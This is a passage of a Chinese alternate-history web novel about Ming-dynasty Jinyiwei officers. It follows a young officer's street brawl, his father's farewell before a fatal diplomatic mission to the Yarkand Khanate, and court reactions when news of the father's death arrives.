为首的那人看到孟清远居然敢瞪他们,顿感不爽,这附近他是老大,同龄之人还没人敢瞪他呢,甚至那些年纪大些的,见了他也得叫声爷。 “让开,我不想惹事,你们打不过我。” 孟清远并不想和这些人沾染是非,他的思维模式还停留在过去,即便自己现在是锦衣卫了,孟清远也不想刚进入南镇抚司的第一天就和人打架,他觉得这对自己未来的仕途会有很大的影响,会让上峰对自己的感官不好。 “兄弟们,听到这个野种说什么了吗?他说你们不是他的对手。” 为首的那人用手掏了掏耳朵,仿佛不敢相信自己听到的话,以夸张的语气对身后的其他人说道。 其他人听到这话,顿时一阵哄笑。 “这小子恐怕是喝了早酒,不知天高地厚了,大哥,我来教训教训他。” 众人身后一个人高马大的家伙站了出来道。 此人在这些人的小团体之中,一向扮演的是打手的角色,此时自然要站出来。 说完这话,这人直接来到了孟清远面前,二话不说挥拳就打。 此人体格子虽然大,却是外强中干,这一拳孟清远看得出来,没什么威力,不过孟清远还是侧身躲了过去,随后一脚从后面踹在了此人的膝盖窝之中,孟清远习武多年,腿上的功夫很是不俗,这一脚带着鞭稍劲,看着不重,但那人瞬间就跪倒在地,疼的龇牙咧嘴,想再站起来,发现自己的膝盖部分完全使不上力,再次跪倒在地。 “大哥,这小子练过,并肩子上。” 此人看着孟清远,眼神之中又恨又怕,看向其他人道。 其他人听到这话,纷纷上前,将孟清远围在中间,直接动起了手。 孟清远虽然一招一式有板有眼,这些人完全不是他的对手,但毕竟周围人太多,有些地方顾不上,身上背着的包裹一不小心被这些人扯了下来,里面锦衣卫的衣服和绣春刀瞬间漏了出来。 “住手!快住手.....” 看到锦衣卫袍服和绣春刀的那人,声音颤抖道。 其他人闻声望去,看到这两样东西,再看看孟清远,却看见孟清远神情淡然地将地上的东西捡了起来。 此时众人这才确认,这锦衣卫袍服和绣春刀不是别人的,正是孟清远的。 以孟清远的身手,能进入锦衣卫,倒也说得过去,虽说他们都叫孟清远野种,但他们都不清楚孟清远的爹是谁,难不成是一个锦衣卫? 此时众人慌了,无比惊慌。 锦衣卫见官大三级,更何况眼前的这个锦衣卫袍服看着和一般的锦衣卫袍服还有些许不同,恐怕不是北镇抚司,就是南镇抚司的,这两处哪一个是好惹的? 要知道他们的父母不过是附近一些富庶一些的商人或者地主,见到一般的官员都不敢抬头多看一眼,更不用说锦衣卫了。 恰巧此时,南镇抚司那些给孟清远送东西的锦衣卫走到这里,刚才离的有点远的时候,他们就看到这里有人动手,只是没看清楚是谁,此时看到被围攻的居然是孟清远,为首的那个锦衣卫急忙跑到孟清远身边。 “孟公子,您没事吧?” 锦衣卫上下打量着孟清远,生怕他受了一丁点伤,这要是受伤了,何大人绝对会严惩自己。 “多谢大人挂念,我没事。” 孟清远笑了笑。 见孟清远这么说,锦衣卫这才松了口气,随后看向了之前围攻孟清远的那些人。 此时那些人看到眼前的锦衣卫对孟清远的态度甚至有些谄媚和恭敬,全都吓坏了,此时他们才知道,孟清远的爹恐怕是他们惹不起的大人物,他们完了。 还没等他们说话,锦衣卫就冲着身后挥了挥手,后面跟着的锦衣卫瞬间围了过来。 “尔等聚众围攻我锦衣卫,是何居心?” 为首的锦衣卫看着众人,厉声问道。 “大......大人......我等不知道孟清远....呸.....孟大人是锦衣卫。” 为首的那个混子说到这里的时候,抽了自己一巴掌,此时的他恨不得把自己抽昏过去,他多么希望眼前的一切都是一场梦境。 “知道不知道,可不是你说了算的,无故围攻锦衣卫,居心叵测,看来得把你们送进北镇抚司的昭狱之中,让北镇抚司的人好好审一审了。” 锦衣卫冷笑道。 这些混混听到这话,腿都软了,有几个胆子小的,瞬间尿了裤子。 北镇抚司,昭狱,这两个词无论哪一个都足以吓破他们的胆,特别是昭狱,在这京城之中,可谓是无人不知,臭名昭著,在那些文官的宣传之下,昭狱似乎成了迫害忠良的地方。 按理来说,他们这些混混,是完全没资格进昭狱的,能进昭狱的,要么是犯官,要么是犯官家属,他们这种小混混根本没这个资格,一般是进顺天府的大狱。 不过今日他们算是撞了大运了,这昭狱他们还真得走一趟。 “我等来迟了,让孟公子受惊了,还望公子恕罪。” 那些混混被带走之后,为首的锦衣卫急忙行礼道。 孟清远听到这话,才有些后知后觉的反应过来。 自己的爹是一个从五品的官员吧?难不成爹娘联合起来骗自己,实际上自己的爹是朝中三品以上的大员? 不然的话怎么都说不通,这些可都是南镇抚司的锦衣卫,方才在南镇抚司,这个锦衣卫那般客气,孟清远还以为他对所有人都如此。 但此时孟清远才察觉到不对。 不过孟清远想起了自己娘的话,不要毛躁,于是压下了心中的疑问,没多说什么。 “诸位太客气了,我等以后都是同僚,公子就不必叫了,要是不嫌弃,就叫我一声兄弟,还望诸位多多关照。” 孟清远回礼道。 “应该的应该的,互相照应。” 锦衣卫笑道。 “对了孟兄弟,咱们镇抚使何大人,特意嘱咐我等,给你送来这些,这些丝绸放在咱们南镇抚司的库房里都快发霉了,逢年过节,我们都会分一些,何大人让我等给你带一些,还有这个,这是孟大人最近刚刚在云桂坊买的珍珠,知道兄弟你来了咱们南镇抚司,特意让在下带给你的。” 锦衣卫说着,拿出一颗珍珠。 周楚给南北镇抚使都有一些隐形的福利,比如这颗珍珠,如果是卖给外人,那么价格得一两千两,这颗珍珠圆润饱满,虽不算顶大的,却也是极其漂亮的。 但何二或者陆万山去买的话,只需要二百两左右就可以了。 当然,何二和陆万山也是极有分寸的,不会多买,一两个月买一颗,送人或者收藏,绝不会拿去倒卖。 他们很清楚,周大人给他们方便,他们若是存有其他心思,那就真是该死了,这种事根本瞒不住周大人的。 孟清远看着眼前的这颗珍珠,他虽然不太懂珍珠,但却听他娘说过,珍珠都是极贵的,孟清远无论如何都想不通,镇抚使可是从四品,单论官职就比自己爹的从五品大了两级,更不用说锦衣卫见官大三级了。 南镇抚司的镇抚使,最起码相当于正三品的朝廷大员。 这样一个人,有什么理由送如此贵重的礼物给自己呢? “这太贵重了,我不能收,替我谢谢镇抚使大人的好意。” 孟清远受宠若惊道。 “孟兄弟,你就收下吧,镇抚使大人送出去的东西,还没有收回来的道理,放心拿着,大人不会让你做任何事的,不必担心。” 锦衣卫说着将装着珍珠的盒子放在了孟清远手中。 随后众人跟着孟清远,抬着几箱丝绸,跟着孟清远到了他们家。 “孟兄弟,我等就不叨扰了,镇抚使大人的命令也完成了,这就回去了。” 为首的锦衣卫看着眼前这个小院子,明白自己等人贸然进去可能会打扰到他的家人,于是把东西都放在了门口,抬手告辞。 “诸位进来喝口水,倒是孟某招待不周了。” 孟清远满脸愧疚道。 “不用了孟兄弟,以后你我都在南镇抚司,不在这一会,我等还急着回去跟镇抚使大人复命呢。” 锦衣卫摆了摆手,说道。 “替我谢过镇抚使大人。” 孟清远对着众人躬身行礼道。 “会的,兄弟别送了,回去吧。” 锦衣卫摆了摆手,随后带着其他锦衣卫离开了。 这一箱箱丝绸很重,孟清远费了很大劲才把他们挪到院子之中。 “清远,这些都是什么?” 孟清远的娘看到这一个个箱子,有些疑惑道。 “说来奇怪,南镇抚司的那些锦衣卫一个个对我都极客气,甚至镇抚使大人还送了我这个,我想不要都不行,娘,你和我说实话,我爹是不是二品大员?否则怎会如此?” 孟清远一边说着,一边打开盒子,取出珍珠,说道。 妇人看到眼前的珍珠,眼皮子一抖,孟清远不清楚这颗珍珠的价格,她可是知道的。 “这珍珠太名贵了,起码得一两千两一颗。” “这么贵?” 听到这话,孟清远吓得手一抖,差点让珍珠掉了。尛說Φ紋網 “我得赶紧给镇抚使大人送回去,这也太名贵了,镇抚使大人怎么会送我这么名贵的东西?” 孟清远原本想过这东西应该挺贵,但没想过会这么贵,一听到这话,再也坐不住了。 “别急,你爹不是什么二品大员,昨日来的大人身份非同一般,他给你写的举荐信,想来镇抚使大人应该是看在他的面子上送给你的这些东西,至于这颗珍珠如何处置,等你爹来了,你问问他就是了。” 妇人不疾不徐道,她很清楚,孟文轩走之前一定会来见她们娘俩一面的。 孟清远听到这话,瞬间安静了下来。 “那就听娘的。” 第358章 孟继孟清远父子的诀别 其实孟清远很想立刻就去找自己的爹,将自己成为锦衣卫的事告诉他。 但孟清远怕因此引起自己爹正室那边的不满,这么多年,孟清远一直都不敢去孟府找孟继,从来都是孟继来这里找他们娘俩,每次来都会给他们带很多东西,还有钱财。 而且孟清远很清楚,自己这个锦衣卫的差事,还是靠自己的爹才谋来的,他肯定是知道的,所以孟清远倒也没那么着急了,想着等自己的爹下次来了之后再告诉他。 孟继并没有让孟清远等太久,孟清远当上锦衣卫的第三天,孟清远正在南镇抚司当值,跟着其他锦衣卫学东西,被何二叫到了他的衙署。 在何二的衙署,孟清远看到了自己的爹。 “爹,您怎么来了?” 孟清远看着自己的爹,满脸惊喜道。 “我跟何大人说了,准你休沐一日,我有事和你说,你随我回去吧。” 孟继看着自己的这个儿子,满意地点了点头。 孟清远虽然是个私生的庶子,但孟继从未厚此薄彼过,无论是对嫡子,还是对孟清远,都是一般疼爱,因为孟继觉得两边都有所亏欠,既亏欠自己夫人,又亏欠清远的娘。 如今的孟清远也算得上文武双全,仪表堂堂,又在南镇抚司当差,将来不说飞黄腾达,但一辈子衣食无忧是没问题的。 孟清远听到这话,看向了何二,似乎在求证。 “去吧,孟大人确实有话要和你说。” 何二笑道。 这话让孟清远愈发摸不着头脑了,他对自己爹的身份愈发怀疑,自己的爹真的只是一个从五品的官员吗?怎么连镇抚使大人都要给他面子? 带着心中的疑问,孟清远一路跟着自己的爹出了南镇抚司的大门。 “以后你每日来这里当差,不能总腿着,这匹马是爹养了好几年的,虽然不是什么名贵的马,在爹的调理下,不比那些名马差多少,你试试。” 孟继两人刚出南镇抚司,就有南镇抚司的锦衣卫牵出两匹马来,显然是孟继带过来的。 “爹,我没学过骑术。” 孟清远有些窘迫道。 “没事,现在学也来得及,趁着爹在一旁,能帮你看着,还能教一教你。” 孟继看着自己的儿子,有些感慨道。 孟清远听到这话,倒也没多想,他听周楚说过,自己的爹似乎要出使什么叶尔羌汗国了,孟清远这两日在南镇抚司还特意查了一下叶尔羌汗国的位置,那里距离大明甚是遥远,想来自己的爹应该得在那里好几年吧。 一想到这里,孟清远就有些不知所措,他长这么大,全靠孟继庇护着,现在骤然得知孟继要离开,而且一走可能就是很多年,顿感无所适从。 “爹,你这一去要很多年吧?” 孟清远忍不住问道。 孟继听到这话,顿时有些出神。 “是啊,叶尔羌汗国太远了,爹要去那里展现我大明国威,短时间内肯定是回不来了,以后你娘就要靠你了,你娘当初为了跟我,和她的家人都决裂了,这么多年,我一直都觉得对不住她,以后你要好好待她。” 孟继看着自己的儿子,有些伤感道。 “放心吧爹,现在我是锦衣卫,一般人根本不敢招惹我们娘俩。” 孟清远略显得意道。 孟继听到这话点了点头。 “是啊,你长大了,以后如果有什么解决不了的问题,就找你们南镇抚司的何大人,他会替你出面解决,不要觉得不好意思。” 孟继很清楚自己儿子的性格,太过腼腆了些,很多事都不好意思去麻烦别人,自己要是不交代一下,以后要真是出了事,该怎么办? 对孟继而言,何二不过是个中转站,孟继很清楚,一旦有了问题,何二知道了,就相当于周大人知道了,周大人知道之后,所有的事就都不是事了。 “爹,你真的只是从五品吗?为何何大人都要给你面子?” 孟清远疑惑道。 “爹真是从五品,不过这次出使叶尔羌汗国,陛下已经将爹连升三级了,现在是正四品,何大人之所以对爹如此客气,完全是看在那位大人的面子上,就是前几日去找你的那个大人。” 孟继解释道。 孟清远听到这话,顿时恍然。 “那位大人到底是什么身份?” 孟清远追问道。 “不该问的别问,那位大人想让你知道的时候,你自然会知道,他不想让你知道,你也不要打听,知道吗?” 孟继叮嘱道。 “知道了,爹。” 孟清远乖巧的点了点头。 “来,踩着这里,上马。” 孟继指了指马镫,说道。 上马对孟清远而言并不难,他虽然没练过,但毕竟是常年练武的,很容易就翻身上了马。 “抓住缰绳,这马爹养了很多年了,很温顺,不用担心,摸一摸它的头,和它沟通一下感情。” 孟继指点道。 孟继算是寒门出身,他爹和他爷爷都是养马的,孟继自小就跟着家里放马养马,也有一身相马之术。 对于韩愈的马说,孟继一直深以为然,奉为圭臬,他很清楚,一匹马好不好,不完全取决于品种,任何品质的马都可能出千里良驹,关键在于怎么养。 孟继平日里闲暇之时,除了读书之外,大多数时间都用来养马了,这些马他买的时候都不贵,毕竟不是每个人都有他这么懂马,和马在一起他会感觉很放松,完全不用像同僚之间那般勾心斗角。 这匹马是他养的几匹马之中数一数二的,原本就是准备等孟清远长大之后送给他的,现在孟清远当上了锦衣卫,自己也要远行了,再不送就来不及了。 “对,就是这样,拉缰绳的手不要太用力,保持适度。” 孟继和自己的儿子并排骑着马,一边走一边指点着孟清远。 “爹,我好像会了,骑马也没那么难嘛。” 孟清远轻快道。 “咱们家祖上都是养马的,你爷爷,我爷爷,都是养马出身,这些都是胎里带的,肯定觉得简单。” 孟继笑道。 两人一路上有说有笑,很快就回到了孟清远家附近。 原本一直对孟清远不屑一顾的那些邻居,此时看到孟清远骑着一匹如此神骏的马,身边还跟着另一个人,此人一看就气质不凡,肯定是大人物。 这些人早就知道了孟清远成了锦衣卫,想不知道也难,毕竟他们之中,有些人的儿子还在北镇抚司的昭狱之中关着呢。 “孟大人,您大人有大量,把我那逆子当个屁放了吧。” 一个四十岁左右的地主,直接跪在了孟清远面前,一把鼻涕一把泪道。 此人家中就一个独子,三代单传的一根独苗苗,自小就宠爱的不行,就是因为太过宠溺,才让他的儿子自小就不走正路,原本在他看来,他的儿子哪里都好,偶尔把别人打了,他基本也都能摆平。 但现在遇到了孟清远,孟清远的身份早已不同往日,不是他一个地主能摆平的,这几日他天天都去求孟清远,前两日孟清远都闭门不见,他也不敢过于打扰,生怕惹怒了孟清远。 今日他一直等在这条路上,原本是想着等到孟清远下午回家的时候,当面求他,只是没想到今日孟清远会回来这么早。 不过这对他而言是好事,早点见到孟清远,说不定能早点把自己的儿子捞出来。 孟清远听到这话,顿时有些为难,他本身就有些腼腆,最受不得这种场面。 “怎么回事?” 孟继看到这情况,有些不解道。 “没什么大事。” 孟清远不想让自己的爹知道,不想因为这事影响自己爹的心情,毕竟自己的爹马上要代表大明出使西域了,自己这个做儿子的,怎么能拖他的后腿呢? 孟继听到这话,也没有深究,他要让自己的儿子学会独立,就不应该事事都指手画脚,毕竟以后自己不在了,他还得自己面对这些人。 “那爹就不问了,但你要记住,对你好的人,你要加倍的对他们好,对你不好的人,你也不要心慈手软,这些人不会感激你,只会记恨你。” 孟继看着自己的儿子,认真道。 孟清远听到这话,原本的不好意思瞬间消失不见。 “他率众围攻锦衣卫,现在已经进了昭狱,我只是南镇抚司的一个锦衣卫,北镇抚司的事我管不了。” 孟清远说着猛的一拉马的缰绳,马瞬间仰了起来,那人看到这一幕顿时大惊失色,以为孟清远要让马睬他,急忙躲开了。 此人一让开路,孟清远直接骑马离开了。 旁边的其他几人看着此人,满脸的幸灾乐祸。 “要我说,你家那个就应该在昭狱之中待一段时间,都被你惯成什么样了,在这一片都无法无天了。” “就是,居然敢带人围攻锦衣卫,他是有多大的胆子?他当他是赵子龙啊?” ..... 众人你一言我一语,纷纷开始落井下石。 实际上他的儿子得罪的可不止孟清远,这附近的住户都不待见他。 孟继和孟清远父子两人回到家中,妇人看到孟继,心中更加悲伤了,因为她清楚,孟文轩一旦来见自己,就意味着离他上路的日子不远了。 “文轩,今日怎么有时间了?” 妇人一边说着,一边给孟继倒茶。 “再过两日,我就要代表大明出使西域了,这一去不知道要多久,就想着来看看你们娘俩,我最放心不下的就是你们娘俩了。” 孟继喝了口茶,说道。 “清远,你这两日在南镇抚司可还适应?” 孟继转移话题道。 “挺好的,同僚对我都很客气,就是有些太过客气了,对了爹,前两日何大人还送了我这个。” 孟清远说着一路小跑到自己的厢房之中,取出何二送给他的珍珠。 孟继接过珍珠看了看。 “这可是上品,少说也得一两千两,何大人真是破费了。” 孟继说道。 “是啊爹,这也太贵重了,何大人为何会无缘无故的送我这个?我要不要还回去?” 孟清远问道。 孟继摇了摇头。 “这倒不用,何大人送你这个不是看在你的面子上,也不是看在爹的面子上,而是看在那位大人的面子上,你收着便是,回头去云桂坊,让他们给你娘用这颗珍珠做个簪子。” 孟继说着将珍珠还给了孟清远。 孟清远听到这话,顿时松了口气,这几天他一直为这事惴惴不安的,现在听了孟继的话,心里顿时有了底。 “不用了吧,这些年你送我的簪子不少了,云桂坊太贵了些。”尛說Φ紋網 妇人说道。 孟继听到这话,抓住了妇人的右手。 “这么多年,我一直都觉得对你不够好,要不是我,你也不会困在这么小一个院子里,这颗珍珠放着也是放着,带你头上最合适。” “是啊娘,我要它也没什么用,给你做个簪子,也算是物尽其用。” 孟清远在一旁附和道。 这些年他经常看到自己的爹娘如此肉麻,倒也习惯了,并没有觉得有任何不妥。 “就这么说定了。” 眼看着妇人还要说什么,孟继阻止道。 妇人听到这话,无奈的笑了笑,没再坚持。 “爹,娘,你们说会话吧,我先回屋了。” 孟清远看着自己爹娘你侬我侬,很识趣的离开了。 孟清远一进屋,妇人顿时收敛了笑容,满脸愁容。 “你这一去,是不是就回不来了?” 妇人抓住孟继的手,问道。 孟继听到这话,一时之间不知道该如何回答了。 “确实回不来了,大明需要一个对西域用兵的理由,以前汉使出使西域的事,我是和你讲过的,我现在做的事和那些汉使没什么两样。” 孟继叹了口气道。 “必须得是你去吗?” 妇人有些不甘心的追问道。 “谁都可以去,但我想去,我想以死报效大明,如此可以名垂青史,还可以为清远,为我家那个嫡子谋一个锦绣前程,不过这种想法确实自私了些,没有考虑你的感受。” 孟继愧疚道。 “我就知道,之前那位大人说的时候,我就知道肯定是你想去的,你的脾气这么多年一直都是如此,我改变不了,也不会阻止你。” 妇人说着说着,便开始掩面哭泣,却又怕哭声太大,被孟清远听到。 第359章 孟继出使,再见楚璃,楚璃的心思 孟继终究还是离开了,即便妇人很留恋,很不想让他离开,却也说不出一句阻止他的话,她很清楚,孟继此人,从年轻的时候就一心为国,自己如果阻止,只会让他生不如死。 当初孟家养马为生,本就是富庶人家,好不容易出了孟继这么一个入仕的,孟继的娘自然是瞧不上他原本喜欢的女子,让人又给他说了一门门当户对的亲事,甚至不惜以死相逼。 孟继左右为难,最后还是如今的妇人,当初的少女,心甘情愿做了孟继的外室。 孟继很清楚,自己亏欠她的太多,不过两人在一起,不能总想着亏欠,总想着亏欠就不想再见她了,所以孟继这么多年一直尽心竭力的对他们娘俩好。 这匹马还有这南镇抚司的差事,就是孟继最后对自己这个儿子的馈赠了,再多的,孟继也拿不出来了。 孟继率领使团离京的那天,嘉靖率领朝中文武百官全都到京城北门相送,当初欧阳必进出使安南的时候,并没有这么大的声势,毕竟当时的形势和现在完全不同。 当初朝廷之中,有不少人反对对安南用兵,欧阳必进前往安南的目的,只有少数人知道,这么一对比,欧阳必进似乎委屈了些。 不过这些年,嘉靖一直在明里暗里不断地赏赐欧阳家,也算是对欧阳必进的一种补偿吧。 “陛下,不必再送了,臣此去西域,定不负陛下所托。” 孟继跪在嘉靖面前,磕头道。 嘉靖急忙将孟继扶了起来。 “爱卿为我大明牺牲太多,朕真不舍得你这样的忠臣前往西域。” 嘉靖有些伤感道。 “陛下,如今的大明在陛下的带领下,正在步入巅峰,等打下叶尔羌汗国,我大明的版图就会超越盛唐,届时臣就会名垂青史,这本是臣心中所求,多谢陛下成全。” 孟继躬身道。 “好,等我大明的版图超越盛唐之日,就是朕建立大明真武殿的时候,届时朕会把大明的功臣都位列其中,你一定会在其中有一席之地。” 嘉靖说着拍了拍孟继的肩膀。 孟继听到这话,顿感一股热血涌上心头,真武殿功臣阁,孟继很清楚,应该是类似于大唐的凌烟阁,至于为何叫真武殿,也很好理解,首先成祖爷朱棣在大明的正统之中是真武大帝的化身,其次,如今的皇帝是信奉道教的,建立一个真武殿再合适不过。 “臣多谢陛下,臣一定会让大明有一个名正言顺的出兵理由的。” 孟继慷慨激昂道。 孟继率领使团出发了,出使叶尔羌汗国的使团,甚至连个副使都没有,一般的使团为首的都是正副使,但此次出使的使团,大家都很清楚,孟继作为使团正使,是注定要死在叶尔羌汗国的,使团之中的其他人不过是要等到孟继死后,回大明通风报信的。 这种情况下,副使风险极大,还捞不到什么功劳,也就没什么人愿意担任了。 “陛下,孟文轩已经出使叶尔羌汗国了,想必不出半年,他定会让我大明有了出兵的理由,如今万事俱备,只差草原上的铁路了。”尛說Φ紋網 孟继和使团走远之后,王宪来到嘉靖面前,行礼道。 “这事你找张秉用,他是户部尚书,监管者工部,互补拨款,工部负责,你找朕有什么用?” 嘉靖现在看到王宪就有些头大,他怎么都没想到,这个王宪都六十多了,还如此好战。 王宪似乎就等嘉靖这句话了,得到嘉靖的首肯,王宪来到了张璁面前。 “张大人,草原上的铁轨的进度,你可要盯一盯啊,不然的话,一旦战事爆发,你这就是贻误战机。” 王宪直接一顶大帽子扣在了张璁头上。 “王大人此话言重了些,虽说户部只管拨款,铁路的建造之事都是工部在管,不过作为户部尚书,本官自然不会推卸责任,一定会时刻督促工部的赵大人,让他去催下面的人,不过王大人应该也清楚,这铁轨的修建,欲速则不达,既然要修,就要修好,不然用一段时间坏了,谁来负责?” 张璁能在短短几年从刚刚入仕到户部尚书,自然不是易与之辈,即便是王宪这种难缠的家伙,也被他软中带硬的怼了回去。 “是啊王大人,本官很理解你想为大明开疆拓土的心情,但铁路的修建是按部就班的事,催的太急了,容易出事,而且如果不出意外的话,草原上通往乌海以西的铁路,半年之内肯定是可以完工的,大人何必心急?” 工部尚书赵璜眼看着气氛有些僵,出来打圆场道。 要说六部之中油水最大的部门,工部是排的上号的,但作为工部尚书的赵璜,却是要和张璁搞好关系的,虽然同为尚书,但工部想干什么,向上面申请之后,内阁核准之后让户部拨款,户部倘若想卡他们的钱,有的是法子,一拖二拖,拖个两三年都是常有的事。 所以赵璜一直都对张璁态度很好,甚至有些谦卑,因为他是要看户部脸色的。 “那就有劳两位大人了。” 对于张璁的话,王宪丝毫不恼,为官多年,他的脸皮早已厚如城墙,不会因为这点事生气,更何况他也清楚自己这段时间脾气确实有些急躁了,很容易引起其他人的不悦,张璁作为户部尚书,怼自己两句,倒也没什么,只要事能办成就行。 “行了,都散了吧。” 嘉靖看着几人已经说完了,摆了摆手道。 百官听到这话,纷纷向嘉靖行礼,然后各自散去。 周楚刚回到京城没多久,就看到了穿着锦衣卫衣服的初六正在和其他锦衣卫一起巡视京城。 “拜见大人。” 一众锦衣卫看到周楚之后,急忙行礼道。 “不必多礼,该忙忙你们的。” 周楚摆了摆手,随后看向了初六。 “初六跟我来。” 初六听到这话,来到了周楚身旁。 “大人有何吩咐?” 当了锦衣卫这么久,初六也习惯了称呼周楚为大人,而不是少爷。 “你成婚之后,丁家的人没给你找麻烦吧?” 实际上周楚这一年忙的脚不沾地,总共和初六也没见过几面,几个月之前,初六大婚,特地请了周楚,初六的婚礼办的很低调,只请了少数人,如孙强,如小刀师徒两人,还有以前初六在军中结实的一些兄弟。 至于其他人,一个都没请,初六很清楚,周大人抬举自己,给了自己这么一层身份,倘若自己还借着他表弟的身份胡来的话,肯定是不妥的。 对于初六的做法,丁家或许心中有些不满,却也不敢说什么,毕竟现在的初六可比他们的身份高多了,更何况初六也没有亏待过丁兰,该有的东西一样不少,甚至都是最好的,甚至丁兰如今用的首饰,都是云桂坊最顶级的。 初六别的或许没有,但钱从来都不缺,自然不会亏待了自己的女人。 “没有,我那老岳丈是个商人,商人都善于钻营,对他们丁家不利的事,他肯定是不会做的。” 初六笑了笑,说道。 成婚之后,初六脸上的笑容慢慢多了些,不像以前一直喜欢板着脸。 “没有就行,你去叫上表叔,来我家一起吃顿饭,我们爷仨好久没在一起吃顿饭了,这些天我心里一直想着这事呢。” 周楚说道。 初六听到这话,先是一愣,随后觉得鼻子有些发酸,以前他还不觉得,当了一年的锦衣卫之后,他才发现,这个世道人心凉薄才是主旋律,像少爷这般,身居高位多年,还一直记挂着自己这么一个小人物的,实属罕见。 当初自己的婚事遇挫,少爷毫不犹豫的就给了自己锦衣卫和他表弟的身份,让丁家再也不敢反对,当时的初六从未感觉如此神清气爽过。 虽说他是赌场上的神,但那些终究是上不得台面的东西,像他爹,一身千术无人能及,可那又如何?人家大人物想弄死他,根本就不需要任何证据。 初六很清楚,自己要不是背靠少爷,就凭自己在京城赌档干的那些事,早就死了不知道多少次了。 说白了,自己的一切,无论是钱财,还是如今的地位,都是少爷给自己的,没有少爷,自己现在还是一坨烂泥。 “我去叫孙叔。” 初六忍着发酸的鼻子,向醉仙楼走去。 周楚刚回到家,就看到了一个熟人,不是别人,正是楚璃。 细算起来,周楚和楚璃也有三年多没见了。 楚璃看到日思夜想的周楚,再也忍不住了,扑进了周楚的怀中,这一刻楚璃压抑多年的感情仿佛找到了宣泄口一般。 “好了,一会家里还要来客人呢。” 周楚拍了拍楚璃的肩膀,说道。 楚璃听到这话,这才脸色通红的离开了周楚的怀中。 “你现在都是名震大明的传奇女富商了,怎么还如此作态?” 周楚看着楚璃,忍不住调侃道。 “我不想当什么传奇女富商,我只想给少爷当个婢女,就像当年在少爷书房之中伺候少爷一般。” 这么多年,因为身份的差距,衡器这个称呼楚璃也越来越叫不出口了,干脆像当年在周楚书房的时候,一直叫周楚少爷。 “净说傻话,对了,成峰现在如何了?” 周楚看着楚璃,问道。 成峰是楚辉祖成年后取的字号。 “他好的不得了,前两年大婚,生了个大胖小子,去年又纳了几房小妾,那点心思都放在女人身上了。” 楚璃有些不满道。 “放在女人身上好,楚家全靠他开枝散叶了,他应该多生一些。” 周楚笑道。 楚璃听到这话,脸色一红,不知道想到了什么。 两人说话之间,初六和孙强来到了周府。 “少爷。” 孙强来到周楚面前道。 和楚璃一样,衡器这个称呼,孙强也叫的越来越少了,时间越久,孙强越是能感觉到自己和周楚之间身份的鸿沟,也就没了底气再叫周楚的字号了。 “咱们爷仨好久没在一起好好喝顿酒了吧,正好今日无事,我让东厨备了一些酒菜,咱们爷仨今日不醉不归。” 周楚看着孙强和初六,说道。 “好,不醉不归。” 孙强在周楚面前,倒也不显得怎么拘谨,笑道。 很快,三人到了后院正厅,楚璃从一旁的侍女手中接过酒壶。 “今日我来为少爷斟酒。” 楚璃说道。 旁边的侍女看着周楚,见周楚点了点头,这才慢慢退去。 “表叔,当初你带我刚进京的时候,路上还特意教了我千字文,不然的话,我也不能进陆家。” 三人之间完全没什么利益算计,喝的极其尽兴,觥筹交错之间,周楚喝的有些微醺了,话也多了起来。 “哪是我教的?你背的那么流畅,肯定是之前就学过吧,我记得清清楚楚,我就教了你一半,结果你全篇都背了出来,一字不差。” 孙强笑着摇了摇头道。 初六不知道少爷和孙叔之间还有这样的故事,在一旁听的津津有味。 “真是表叔教的,我就是悟性好了些,千字文你虽然只教我读了一半,但后面的一半,我自己摸索着也算是认全了,多读了几遍。” 周楚说的这倒是实话,千字文上一世周楚倒也背过,但后来千字文三字经弟子规被一些人打成了糟粕,周楚也就没了兴趣,忘的都差不多了,全靠孙强的提点,周楚才提前背了几遍,这才想起来。 现在想想,弟子规或许是糟粕之中的糟粕,但三字经讲的大多都是三纲五常,任何抛开时代不讲,只讲文章本身的行为,都是耍流氓,千字文和三字经在这个时代,哪个读书人没读过? 楚璃在一旁默默地听着,一句话不说,只是不断地给周楚满上。 周楚也是来者不拒,一边和孙强初六说着过往的趣事,一边一杯接一杯。 也不知是楚璃有意为之,还是周楚醉翁之意不在酒,很快,周楚三人就都喝醉了,孙强和初六被春兰叫人扶到了客房休息了,周楚则被楚璃扶着回到了自己的厢房之中。 楚璃看着喝醉的周楚,还是没忍住,亲了上去,楚璃亲上去的一瞬间,周楚睁开了双眼,哪还有半分醉意。 “少爷,你没喝醉啊?” 楚璃看到周楚这般清醒,顿时无比惊慌。 “我身为锦衣卫指挥使,岂是那么容易喝醉的?我只是想看看你打的是什么主意。” 周楚看着楚璃,调侃道。 楚璃听到这话,愈发羞赧了。 周楚却是一拉楚璃,将她拉入自己的怀中。 “少爷!” 楚璃忍不住惊呼道。 “我周楚行事,何须借助醉酒?” 周楚捏着楚璃的下巴,说道。 楚璃听到这话,瞬间瘫软在了周楚怀中,这一刻,楚璃觉得自己醉了。 第360章 孟继身死,嘉靖震怒,出兵叶尔羌 孟继出使叶尔羌汗国的第七个月,使团的其他人逃回了大明,将孟继被杀的消息回报给朝廷,回报给嘉靖。 “陛下,叶尔羌汗国简直不把我大明放在眼里,我大明天朝上国,煌煌天威,他们居然把孟大人杀了,此举无疑是在对大明宣战啊。” 朝堂之上,王宪听到这个消息,第一个出列,慷慨陈词道。 大家都很清楚,孟继肯定是会死在叶尔羌汗国的,至于为何被杀,那你别管,也不会有人不识趣去问这个问题。 问就是叶尔羌汗国不识好歹,杀我大明使臣,意欲对我大明宣战。 实际上孟继在叶尔羌汗国的这半年时间,还真没做什么太过分的事,平日里孟继就是谦谦君子,很多事做不出来,为了达到目的,孟继每日都向叶尔羌汗国的大汗要美酒美人,喝醉之后就开始大放厥词,逮着谁骂谁。 本来只是这样的话,叶尔羌汗国的大汗也就忍了,但孟继眼看达不到目的,开始给叶尔羌汗国编排起了故事,甚至编排起了王太后,反正说的很难听,这话传进了大汗的耳中,他如何能容忍? 如果叶尔羌汗国此时能正确认知大明的国力,他们不忍也得忍,但问题在于,大明的国力飙升的太突然,满打满算也才几年时间,叶尔羌汗国倒是知道大明将他们东边的蒙古人一部分赶到了他们这里,一部分征服了。 但叶尔羌汗国的大汗觉得那些蒙古人和他们国家的蒙古人战力完全不在一个层次,更何况他觉得自己的国家离大明这么远,大明不可能空耗国力攻打自己。 要知道大明光是陈兵到乌海,那么长的补给线就足以将大明耗空。 最起码叶尔羌汗国的大汗是这么认为的。 所以对于孟继的不断挑衅,他只是认为这个大明的使臣得了失心疯,在自己的地盘还敢如此嚣张。 朝堂之上,众人看着王宪,对于王宪第一个站出来,没人感到意外,王宪等这一天等太久了,草原上的铁路都完工近两个月了,火车早已通行,就等着孟继被杀的消息传回大明。 